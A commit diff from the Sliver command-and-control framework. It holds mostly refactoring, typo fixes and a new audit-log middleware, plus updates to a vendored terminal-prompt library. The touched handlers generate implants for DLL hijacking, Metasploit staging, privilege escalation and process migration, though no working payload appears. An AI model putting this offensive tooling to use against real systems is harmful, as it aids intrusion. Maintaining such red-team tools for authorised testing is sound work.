// All additional changes requires changes on implants(like sequencing for close messages),
// and as there is a goal to keep compatability we don't do that at the moment.
// and as there is a goal to keep compatibility we don't do that at the moment.
// So there is trade off - more stability or more speed. Or rewriting implant logic.
// At the moment, i see it affects only `shell` command and locking it for 10 seconds on exit. Not a big deal.
func (t *tunnels) ScheduleClose(tunnelID uint64) {
@@ -153,7 +153,7 @@ func (t *tunnels) ScheduleClose(tunnelID uint64) {
}
// Close - closing tunnel
// It's prefered to use ScheduleClose function if you don't 100% sure there is no more data to receive
// It's preferred to use ScheduleClose function if you don't 100% sure there is no more data to receive
func (t *tunnels) Close(tunnelID uint64) error {
t.mutex.Lock()
defer t.mutex.Unlock()
+6 -6
View File
@@ -111,7 +111,7 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[DATA] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
if tunnel != nil {
@@ -137,7 +137,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
if !tunnelData.Closed {
return nil
}
@@ -181,10 +181,10 @@ func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverp
// return nil
//}
sessionHandlerLog.Debugf("socksDataHandler:", len(socksData.Data), socksData.Data)
SocksTunne := core.SocksTunnels.Get(socksData.TunnelID)
if SocksTunne != nil {
if session.ID == SocksTunne.SessionID {
SocksTunne.FromImplant <- socksData
socksTunnel := core.SocksTunnels.Get(socksData.TunnelID)
if socksTunnel != nil {
if session.ID == socksTunnel.SessionID {
socksTunnel.FromImplant <- socksData
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
+2 -2
View File
@@ -21,7 +21,7 @@ package log
import (
"fmt"
"os"
"path"
"path/filepath"
"github.com/sirupsen/logrus"
)
@@ -34,7 +34,7 @@ var (
func newAuditLogger() *logrus.Logger {
auditLogger := logrus.New()
auditLogger.Formatter = &logrus.JSONFormatter{}
jsonFilePath := path.Join(GetLogDir(), "audit.json")
jsonFilePath := filepath.Join(GetLogDir(), "audit.json")
jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
panic(fmt.Sprintf("Failed to open log file %v", err))
+2 -1
View File
@@ -30,6 +30,7 @@ import (
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
@@ -46,7 +47,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
var err error
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+2 -1
View File
@@ -34,6 +34,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/util/encoders"
@@ -107,7 +108,7 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
name, config := generate.ImplantConfigFromProtobuf(p.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+2 -2
View File
@@ -29,9 +29,9 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/msf"
)
@@ -197,7 +197,7 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
return MSFStage, err
}
MSFStage.File.Data = stage
name, err := generate.GetCodename()
name, err := codenames.GetCodename()
if err != nil {
return MSFStage, err
}
+2 -1
View File
@@ -26,6 +26,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/generate"
@@ -85,7 +86,7 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
if err != nil {
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+2 -1
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
@@ -66,7 +67,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
if err != nil {
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+18
View File
@@ -1,5 +1,23 @@
package sgn
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
+71 -13
View File
@@ -23,10 +23,11 @@ import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"sync"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware"
@@ -41,6 +42,8 @@ import (
var (
serverConfig = configs.GetServerConfig()
middlewareLog = log.NamedLogger("transport", "middleware")
)
// initMiddleware - Initialize middleware logger
@@ -126,9 +129,6 @@ func tokenAuthFunc(ctx context.Context) (context.Context, error) {
mtlsLog.Debugf("Valid user token for %s", operator.Name)
tokenCache.Store(token, operator.Name)
// grpc_ctxtags.Extract(ctx).Set("auth.sub", userClaimFromToken(tokenInfo))
// WARNING: in production define your own type to avoid context collisions
newCtx = context.WithValue(newCtx, "operator", operator.Name)
return newCtx, nil
}
@@ -186,26 +186,84 @@ func codeToLevel(code codes.Code) logrus.Level {
type auditUnaryLogMsg struct {
Request string `json:"request"`
Method string `json:"method"`
Session string `json:"session,omitempty"`
Beacon string `json:"beacon,omitempty"`
}
func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor {
return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) {
var request string
rawRequest, err := json.Marshal(req)
if err != nil {
log.AuditLogger.Errorf("Failed to serialize %s", err)
request = fmt.Sprintf("%v", req)
} else {
request = string(rawRequest)
middlewareLog.Errorf("Failed to serialize %s", err)
return
}
middlewareLog.Debugf("Raw request: %s", string(rawRequest))
session, beacon, err := getActiveTarget(rawRequest)
if err != nil {
middlewareLog.Errorf("Middleware failed to insert details: %s", err)
}
msg, _ := json.Marshal(&auditUnaryLogMsg{
Request: request,
// Construct Log Message
msg := &auditUnaryLogMsg{
Request: string(rawRequest),
Method: info.FullMethod,
})
log.AuditLogger.Info(string(msg))
}
if session != nil {
sessionJSON, _ := json.Marshal(session)
msg.Session = string(sessionJSON)
}
if beacon != nil {
beaconJSON, _ := json.Marshal(beacon)
msg.Beacon = string(beaconJSON)
}
msgData, _ := json.Marshal(msg)
log.AuditLogger.Info(string(msgData))
resp, err := handler(ctx, req)
return resp, err
}
}
func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) {
var activeBeacon *clientpb.Beacon
var activeSession *clientpb.Session
var request map[string]interface{}
err := json.Unmarshal(rawRequest, &request)
if err != nil {
return nil, nil, err
}
// RPC is not a session/beacon request
if _, ok := request["Request"]; !ok {
return nil, nil, nil
}
rpcRequest := request["Request"].(map[string]interface{})
middlewareLog.Debugf("RPC Request: %v", rpcRequest)
if rawBeaconID, ok := rpcRequest["BeaconID"]; ok {
beaconID := rawBeaconID.(string)
middlewareLog.Debugf("Found Beacon ID: %s", beaconID)
beacon, err := db.BeaconByID(beaconID)
if err != nil {
middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err)
} else if beacon != nil {
activeBeacon = beacon.ToProtobuf()
}
}
if rawSessionID, ok := rpcRequest["SessionID"]; ok {
sessionID := rawSessionID.(string)
middlewareLog.Debugf("Found Session ID: %s", sessionID)
session := core.Sessions.Get(sessionID)
if session != nil {
activeSession = session.ToProtobuf()
}
}
return activeSession, activeBeacon, nil
}
+7 -1
View File
@@ -21,6 +21,7 @@ package website
import (
"errors"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"strings"
@@ -72,9 +73,14 @@ func GetContent(websiteName string, path string) (string, []byte, error) {
dbSession := db.Session()
content := models.WebContent{}
// Use path without any query parameters
u, err := url.Parse(path)
if err != nil {
return "", []byte{}, err
}
result := dbSession.Where(&models.WebContent{
WebsiteID: website.ID,
Path: path,
Path: u.Path,
}).First(&content)
if result.Error != nil {
return "", []byte{}, result.Error
-22
View File
@@ -1,22 +0,0 @@
language: go
go:
- 1.12
os:
- linux
- linux-ppc64le
- osx
- windows
go_import_path: github.com/AlecAivazis/survey/v2
before_install:
- go get github.com/alecaivazis/run
install:
- run install-deps
script:
- run tests
# - run autoplay-tests
+9 -31
View File
@@ -4,48 +4,26 @@
The following is a set of guidelines to follow when contributing to this package. These are not hard rules, please use common sense and feel free to propose changes to this document in a pull request.
## Table of Contents
1. [Code of Conduct](#code-of-conduct)
1. [Getting Help](#getting-help)
1. [Filing a Bug Report](#how-to-file-a-bug-report)
1. [Suggesting an API change](#suggesting-an-api-change)
1. [Submitting a Contribution](#submitting-a-contribution)
1. [Writing and Running Tests](#writing-and-running-tests)
## Code of Conduct
This project and its contibutors are expected to uphold the [Go Community Code of Conduct](https://golang.org/conduct). By participating, you are expected to follow these guidelines.
## Getting help
Feel free to [open up an issue](https://github.com/AlecAivazis/survey/v2/issues/new) on GitHub when asking a question so others will be able to find it. Please remember to tag the issue with the `Question` label so the maintainers can get to your question as soon as possible. If the question is urgent, feel free to reach out to `@AlecAivazis` directly in the gophers slack channel.
## How to file a bug report
Bugs are tracked using the Github Issue tracker. When filing a bug, please remember to label the issue as a `Bug` and answer/provide the following:
1. What operating system and terminal are you using?
1. An example that showcases the bug.
1. What did you expect to see?
1. What did you see instead?
## Suggesting an API change
If you have an idea, I'm more than happy to discuss it. Please open an issue and we can work through it. In order to maintain some sense of stability, additions to the top-level API are taken just as seriously as changes that break it. Adding stuff is much easier than removing it.
* [Open an issue](https://github.com/AlecAivazis/survey/issues/new/choose)
* Reach out to `@AlecAivazis` or `@mislav` in the Gophers slack (please use only when urgent)
## Submitting a contribution
In order to maintain stability, most features get fully integrated in more than one PR. This allows for more opportunity to think through each API change without amassing large amounts of tech debt and API changes at once. If your feature can be broken into separate chunks, it will be able to be reviewed much quicker. For example, if the PR that implemented the `Validate` field was submitted in a PR separately from one that included `survey.Required`, it would be able to get merge without having to decide how many different `Validators` we want to provide as part of `survey`'s API.
When submitting a contribution,
- Provide a description of the feature or change
- Reference the ticket addressed by the PR if there is one
- Following community standards, add comments for all exported members so that all necessary information is available on godocs
- Remember to update the project README.md with changes to the high-level API
- Include both positive and negative unit tests (when applicable)
- Contributions with visual ramifications or interaction changes should be accompanied with the appropriate `go-expect` tests. For more information on writing these tests, see [Writing and Running Tests](#writing-and-running-tests)
- Try to make a series of smaller changes instead of one large change
- Provide a description of each change that you are proposing
- Reference the issue addressed by your pull request (if there is one)
- Document all new exported Go APIs
- Update the project's README when applicable
- Include unit tests if possible
- Contributions with visual ramifications or interaction changes should be accompanied with an integration test—see below for details.
## Writing and running tests
-78
View File
@@ -1,78 +0,0 @@
# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'.
[[projects]]
branch = "master"
name = "github.com/Netflix/go-expect"
packages = ["."]
revision = "c93bf25de8e869da25cf26bcd2932b36141f61ae"
[[projects]]
name = "github.com/davecgh/go-spew"
packages = ["spew"]
revision = "346938d642f2ec3594ed81d874461961cd0faa76"
version = "v1.1.0"
[[projects]]
branch = "master"
name = "github.com/hinshun/vt10x"
packages = ["."]
revision = "1954e646417484a2a687ea344edade2c2b6523c8"
[[projects]]
branch = "master"
name = "github.com/kballard/go-shellquote"
packages = ["."]
revision = "95032a82bc518f77982ea72343cc1ade730072f0"
[[projects]]
name = "github.com/kr/pty"
packages = ["."]
revision = "282ce0e5322c82529687d609ee670fac7c7d917c"
version = "v1.1.1"
[[projects]]
name = "github.com/mattn/go-colorable"
packages = ["."]
revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072"
version = "v0.0.9"
[[projects]]
name = "github.com/mattn/go-isatty"
packages = ["."]
revision = "0360b2af4f38e8d38c7fce2a9f4e702702d73a39"
version = "v0.0.3"
[[projects]]
branch = "master"
name = "github.com/mgutz/ansi"
packages = ["."]
revision = "9520e82c474b0a04dd04f8a40959027271bab992"
[[projects]]
name = "github.com/pmezard/go-difflib"
packages = ["difflib"]
revision = "792786c7400a136282c1664665ae0a8db921c6c2"
version = "v1.0.0"
[[projects]]
name = "github.com/stretchr/testify"
packages = [
"assert",
"require"
]
revision = "12b6f73e6084dad08a7c6e575284b177ecafbc71"
version = "v1.2.1"
[[projects]]
branch = "master"
name = "golang.org/x/sys"
packages = ["unix"]
revision = "9527bec2660bd847c050fda93a0f0c6dee0800bb"
[solve-meta]
analyzer-name = "dep"
analyzer-version = 1
inputs-digest = "371508ebad4798adc38a118f858b5c17a65b58594203548f9feb74cb781dd907"
solver-name = "gps-cdcl"
solver-version = 1
-54
View File
@@ -1,54 +0,0 @@
# Gopkg.toml example
#
# Refer to https://github.com/golang/dep/blob/master/docs/Gopkg.toml.md
# for detailed Gopkg.toml documentation.
#
# required = ["github.com/user/thing/cmd/thing"]
# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"]
#
# [[constraint]]
# name = "github.com/user/project"
# version = "1.0.0"
#
# [[constraint]]
# name = "github.com/user/project2"
# branch = "dev"
# source = "github.com/myfork/project2"
#
# [[override]]
# name = "github.com/x/y"
# version = "2.4.0"
#
# [prune]
# non-go = false
# go-tests = true
# unused-packages = true
[[constraint]]
branch = "master"
name = "github.com/Netflix/go-expect"
[[constraint]]
branch = "master"
name = "github.com/hinshun/vt10x"
[[constraint]]
name = "github.com/mattn/go-isatty"
version = "0.0.3"
[[constraint]]
branch = "master"
name = "github.com/mgutz/ansi"
[[constraint]]
name = "github.com/stretchr/testify"
version = "1.2.1"
[prune]
go-tests = true
unused-packages = true
[[constraint]]
branch = "master"
name = "github.com/kballard/go-shellquote"
+81 -43
View File
@@ -1,9 +1,8 @@
# Survey
[![Build Status](https://travis-ci.org/AlecAivazis/survey.svg?branch=feature%2Fpretty)](https://travis-ci.org/AlecAivazis/survey)
[![GoDoc](http://img.shields.io/badge/godoc-reference-5272B4.svg)](https://pkg.go.dev/github.com/AlecAivazis/survey/v2)
A library for building interactive prompts.
A library for building interactive and accessible prompts on terminals supporting ANSI escape sequences.
<img width="550" src="https://thumbs.gfycat.com/VillainousGraciousKouprey-size_restricted.gif"/>
@@ -56,39 +55,12 @@ func main() {
}
```
## Table of Contents
1. [Examples](#examples)
1. [Running the Prompts](#running-the-prompts)
1. [Prompts](#prompts)
1. [Input](#input)
1. [Suggestion Options](#suggestion-options)
1. [Multiline](#multiline)
1. [Password](#password)
1. [Confirm](#confirm)
1. [Select](#select)
1. [MultiSelect](#multiselect)
1. [Editor](#editor)
1. [Filtering Options](#filtering-options)
1. [Validation](#validation)
1. [Built-in Validators](#built-in-validators)
1. [Help Text](#help-text)
1. [Changing the input rune](#changing-the-input-rune)
1. [Changing the Icons ](#changing-the-icons)
1. [Custom Types](#custom-types)
1. [Testing](#testing)
1. [FAQ](#faq)
## Examples
Examples can be found in the `examples/` directory. Run them
to see basic behavior:
```bash
go get github.com/AlecAivazis/survey/v2
cd $GOPATH/src/github.com/AlecAivazis/survey
go run examples/simple.go
go run examples/validation.go
```
@@ -221,6 +193,28 @@ prompt := &survey.MultiSelect{..., PageSize: 10}
survey.AskOne(prompt, &days, survey.WithPageSize(10))
```
#### Select options description
The optional description text can be used to add extra information to each option listed in the select prompt:
```golang
color := ""
prompt := &survey.Select{
Message: "Choose a color:",
Options: []string{"red", "blue", "green"},
Description: func(value string, index int) string {
if value == "red" {
return "My favorite color"
}
return ""
},
}
survey.AskOne(prompt, &color)
// Assuming that the user chose "red - My favorite color":
fmt.Println(color) //=> "red"
```
### MultiSelect
![Example](img/multi-select-all-none.gif)
@@ -295,7 +289,7 @@ survey.AskOne(prompt, &color, survey.WithFilter(myFilter))
## Keeping the filter active
By default the filter will disappear if the user selects one of the filtered elements. Once the user selects one element the filter setting is gone.
By default the filter will disappear if the user selects one of the filtered elements. Once the user selects one element the filter setting is gone.
However the user can prevent this from happening and keep the filter active for multiple selections in a e.g. MultiSelect:
@@ -342,11 +336,13 @@ survey.AskOne(prompt, &color, survey.WithValidator(survey.Required))
`survey` comes prepackaged with a few validators to fit common situations. Currently these
validators include:
| name | valid types | description | notes |
| ------------ | ----------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------------- |
| Required | any | Rejects zero values of the response type | Boolean values pass straight through since the zero value (false) is a valid response |
| MinLength(n) | string | Enforces that a response is at least the given length | |
| MaxLength(n) | string | Enforces that a response is no longer than the given length | |
| name | valid types | description | notes |
| ------------ | -------------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------------- |
| Required | any | Rejects zero values of the response type | Boolean values pass straight through since the zero value (false) is a valid response |
| MinLength(n) | string | Enforces that a response is at least the given length | |
| MaxLength(n) | string | Enforces that a response is no longer than the given length | |
| MaxItems(n) | []OptionAnswer | Enforces that a response has no more selections of the indicated | |
| MinItems(n) | []OptionAnswer | Enforces that a response has no less selections of the indicated | |
## Help Text
@@ -361,6 +357,39 @@ All of the prompts have a `Help` field which can be defined to provide more info
}
```
## Removing the "Select All" and "Select None" options
By default, users can select all of the multi-select options using the right arrow key. To prevent users from being able to do this (and remove the `<right> to all` message from the prompt), use the option `WithRemoveSelectAll`:
```golang
import (
"github.com/AlecAivazis/survey/v2"
)
number := ""
prompt := &survey.Input{
Message: "This question has the select all option removed",
}
survey.AskOne(prompt, &number, survey.WithRemoveSelectAll())
```
Also by default, users can use the left arrow key to unselect all of the options. To prevent users from being able to do this (and remove the `<left> to none` message from the prompt), use the option `WithRemoveSelectNone`:
```golang
import (
"github.com/AlecAivazis/survey/v2"
)
number := ""
prompt := &survey.Input{
Message: "This question has the select all option removed",
}
survey.AskOne(prompt, &number, survey.WithRemoveSelectNone())
```
### Changing the input rune
In some situations, `?` is a perfectly valid response. To handle this, you can change the rune that survey
@@ -456,17 +485,26 @@ For some examples, you can see any of the tests in this repo.
## FAQ
### Why isn't sending a SIGINT (aka. CTRL-C) signal working?
### What kinds of IO are supported by `survey`?
When you send an interrupt signal to the process, it only interrupts the current prompt instead of the entire process. This manifests in a `github.com/AlecAivazis/survey/v2/terminal.InterruptErr` being returned from `Ask` and `AskOne`. If you want to stop the process, handle the returned error in your code:
survey aims to support most terminal emulators; it expects support for ANSI escape sequences.
This means that reading from piped stdin or writing to piped stdout is **not supported**,
and likely to break your application in these situations. See [#337](https://github.com/AlecAivazis/survey/pull/337#issue-581351617)
### Why isn't Ctrl-C working?
Ordinarily, when you type Ctrl-C, the terminal recognizes this as the QUIT button and delivers a SIGINT signal to the process, which terminates it.
However, Survey temporarily configures the terminal to deliver control codes as ordinary input bytes.
When Survey reads a ^C byte (ASCII \x03, "end of text"), it interrupts the current survey and returns a
`github.com/AlecAivazis/survey/v2/terminal.InterruptErr` from `Ask` or `AskOne`.
If you want to stop the process, handle the returned error in your code:
```go
err := survey.AskOne(prompt, &myVar)
if err == terminal.InterruptErr {
fmt.Println("interrupted")
os.Exit(0)
} else if err != nil {
panic(err)
if err != nil {
if err == terminal.InterruptErr {
log.Fatal("interrupted")
}
...
}
```
-19
View File
@@ -1,19 +0,0 @@
task "install-deps" {
description = "Install all of package dependencies"
pipeline = [
"go get {{.files}}",
]
}
task "tests" {
description = "Run the test suite"
command = "go test {{.files}}"
environment {
GOFLAGS = "-mod=vendor"
}
}
variables {
files = "$(go list -v ./... | grep -iEv \"tests|examples\")"
}
+4 -4
View File
@@ -49,8 +49,10 @@ func yesNo(t bool) string {
func (c *Confirm) getBool(showHelp bool, config *PromptConfig) (bool, error) {
cursor := c.NewCursor()
rr := c.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// start waiting for input
for {
@@ -107,8 +109,6 @@ func (c *Confirm) getBool(showHelp bool, config *PromptConfig) (bool, error) {
}
return answer, nil
}
// should not get here
return c.Default, nil
}
/*
+3 -3
View File
@@ -29,7 +29,7 @@ var TemplateFuncsNoColor = map[string]interface{}{
//for colored output. The second string does not contain escape codes
//and can be used by the renderer for layout purposes.
func RunTemplate(tmpl string, data interface{}) (string, string, error) {
tPair, err := getTemplatePair(tmpl)
tPair, err := GetTemplatePair(tmpl)
if err != nil {
return "", "", err
}
@@ -52,12 +52,12 @@ var (
memoMutex = &sync.RWMutex{}
)
//getTemplatePair returns a pair of compiled templates where the
//GetTemplatePair returns a pair of compiled templates where the
//first template is generated for user-facing output and the
//second is generated for use by the renderer. The second
//template does not contain any color escape codes, whereas
//the first template may or may not depending on DisableColor.
func getTemplatePair(tmpl string) ([2]*template.Template, error) {
func GetTemplatePair(tmpl string) ([2]*template.Template, error) {
memoMutex.RLock()
if t, ok := memoizedGetTemplate[tmpl]; ok {
memoMutex.RUnlock()
+37 -19
View File
@@ -24,6 +24,11 @@ type OptionAnswer struct {
Index int
}
type reflectField struct {
value reflect.Value
fieldType reflect.StructField
}
func OptionAnswerList(incoming []string) []OptionAnswer {
list := []OptionAnswer{}
for i, opt := range incoming {
@@ -63,13 +68,12 @@ func WriteAnswer(t interface{}, name string, v interface{}) (err error) {
}
// get the name of the field that matches the string we were given
fieldIndex, err := findFieldIndex(elem, name)
field, _, err := findField(elem, name)
// if something went wrong
if err != nil {
// bubble up
return err
}
field := elem.Field(fieldIndex)
// handle references to the Settable interface aswell
if s, ok := field.Interface().(Settable); ok {
// use the interface method
@@ -156,37 +160,49 @@ func IsFieldNotMatch(err error) (string, bool) {
// BUG(AlecAivazis): the current implementation might cause weird conflicts if there are
// two fields with same name that only differ by casing.
func findFieldIndex(s reflect.Value, name string) (int, error) {
// the type of the value
sType := s.Type()
func findField(s reflect.Value, name string) (reflect.Value, reflect.StructField, error) {
fields := flattenFields(s)
// first look for matching tags so we can overwrite matching field names
for i := 0; i < sType.NumField(); i++ {
// the field we are current scanning
field := sType.Field(i)
for _, f := range fields {
// the value of the survey tag
tag := field.Tag.Get(tagName)
tag := f.fieldType.Tag.Get(tagName)
// if the tag matches the name we are looking for
if tag != "" && tag == name {
// then we found our index
return i, nil
return f.value, f.fieldType, nil
}
}
// then look for matching names
for i := 0; i < sType.NumField(); i++ {
// the field we are current scanning
field := sType.Field(i)
for _, f := range fields {
// if the name of the field matches what we're looking for
if strings.ToLower(field.Name) == strings.ToLower(name) {
return i, nil
if strings.EqualFold(f.fieldType.Name, name) {
return f.value, f.fieldType, nil
}
}
// we didn't find the field
return -1, errFieldNotMatch{name}
return reflect.Value{}, reflect.StructField{}, errFieldNotMatch{name}
}
func flattenFields(s reflect.Value) []reflectField {
sType := s.Type()
numField := sType.NumField()
fields := make([]reflectField, 0, numField)
for i := 0; i < numField; i++ {
fieldType := sType.Field(i)
field := s.Field(i)
if field.Kind() == reflect.Struct && fieldType.Anonymous {
// field is a promoted structure
fields = append(fields, flattenFields(field)...)
continue
}
fields = append(fields, reflectField{field, fieldType})
}
return fields
}
// isList returns true if the element is something we can Len()
@@ -343,7 +359,9 @@ func copy(t reflect.Value, v reflect.Value) (err error) {
// otherwise it could be an array
case reflect.Array:
// set the index to the appropriate value
copy(t.Slice(i, i+1).Index(0), v.Index(i))
if err := copy(t.Slice(i, i+1).Index(0), v.Index(i)); err != nil {
return err
}
}
}
} else {
+7 -3
View File
@@ -101,8 +101,10 @@ func (e *Editor) prompt(initialValue string, config *PromptConfig) (interface{},
// start reading runes from the standard in
rr := e.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
cursor := e.NewCursor()
cursor.Hide()
@@ -147,7 +149,9 @@ func (e *Editor) prompt(initialValue string, config *PromptConfig) (interface{},
if err != nil {
return "", err
}
defer os.Remove(f.Name())
defer func() {
_ = os.Remove(f.Name())
}()
// write utf8 BOM header
// The reason why we do this is because notepad.exe on Windows determines the
+104 -80
View File
@@ -1,6 +1,8 @@
package survey
import (
"errors"
"github.com/AlecAivazis/survey/v2/core"
"github.com/AlecAivazis/survey/v2/terminal"
)
@@ -19,8 +21,8 @@ type Input struct {
Default string
Help string
Suggest func(toComplete string) []string
typedAnswer string
answer string
typedAnswer string
options []core.OptionAnswer
selectedIndex int
showingHelp bool
@@ -58,85 +60,90 @@ var InputQuestionTemplate = `
{{- if and .Suggest }}{{color "cyan"}}{{ print .Config.SuggestInput }} for suggestions{{end -}}
]{{color "reset"}} {{end}}
{{- if .Default}}{{color "white"}}({{.Default}}) {{color "reset"}}{{end}}
{{- .Answer -}}
{{- end}}`
func (i *Input) OnChange(key rune, config *PromptConfig) (bool, error) {
if key == terminal.KeyEnter || key == '\n' {
if i.answer != config.HelpInput || i.Help == "" {
// we're done
return true, nil
} else {
i.answer = ""
i.showingHelp = true
}
} else if key == terminal.KeyDeleteWord || key == terminal.KeyDeleteLine {
i.answer = ""
} else if key == terminal.KeyEscape && i.Suggest != nil {
if len(i.options) > 0 {
func (i *Input) onRune(config *PromptConfig) terminal.OnRuneFn {
return terminal.OnRuneFn(func(key rune, line []rune) ([]rune, bool, error) {
if i.options != nil && (key == terminal.KeyEnter || key == '\n') {
return []rune(i.answer), true, nil
} else if i.options != nil && key == terminal.KeyEscape {
i.answer = i.typedAnswer
}
i.options = nil
} else if key == terminal.KeyArrowUp && len(i.options) > 0 {
if i.selectedIndex == 0 {
i.selectedIndex = len(i.options) - 1
} else {
i.selectedIndex--
}
i.answer = i.options[i.selectedIndex].Value
} else if (key == terminal.KeyArrowDown || key == terminal.KeyTab) && len(i.options) > 0 {
if i.selectedIndex == len(i.options)-1 {
i.options = nil
} else if key == terminal.KeyArrowUp && len(i.options) > 0 {
if i.selectedIndex == 0 {
i.selectedIndex = len(i.options) - 1
} else {
i.selectedIndex--
}
i.answer = i.options[i.selectedIndex].Value
} else if (key == terminal.KeyArrowDown || key == terminal.KeyTab) && len(i.options) > 0 {
if i.selectedIndex == len(i.options)-1 {
i.selectedIndex = 0
} else {
i.selectedIndex++
}
i.answer = i.options[i.selectedIndex].Value
} else if key == terminal.KeyTab && i.Suggest != nil {
i.answer = string(line)
i.typedAnswer = i.answer
options := i.Suggest(i.answer)
i.selectedIndex = 0
} else {
i.selectedIndex++
}
i.answer = i.options[i.selectedIndex].Value
} else if key == terminal.KeyTab && i.Suggest != nil {
options := i.Suggest(i.answer)
i.selectedIndex = 0
i.typedAnswer = i.answer
if len(options) > 0 {
if len(options) == 0 {
return line, false, nil
}
i.answer = options[0]
if len(options) == 1 {
i.typedAnswer = i.answer
i.options = nil
} else {
i.options = core.OptionAnswerList(options)
}
}
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
if i.answer != "" {
i.answer = i.answer[0 : len(i.answer)-1]
}
} else if key >= terminal.KeySpace {
i.answer += string(key)
i.typedAnswer = i.answer
i.options = nil
}
} else {
if i.options == nil {
return line, false, nil
}
pageSize := config.PageSize
opts, idx := paginate(pageSize, i.options, i.selectedIndex)
err := i.Render(
InputQuestionTemplate,
InputTemplateData{
Input: *i,
Answer: i.answer,
ShowHelp: i.showingHelp,
SelectedIndex: idx,
PageEntries: opts,
Config: config,
},
)
if key >= terminal.KeySpace {
i.answer += string(key)
}
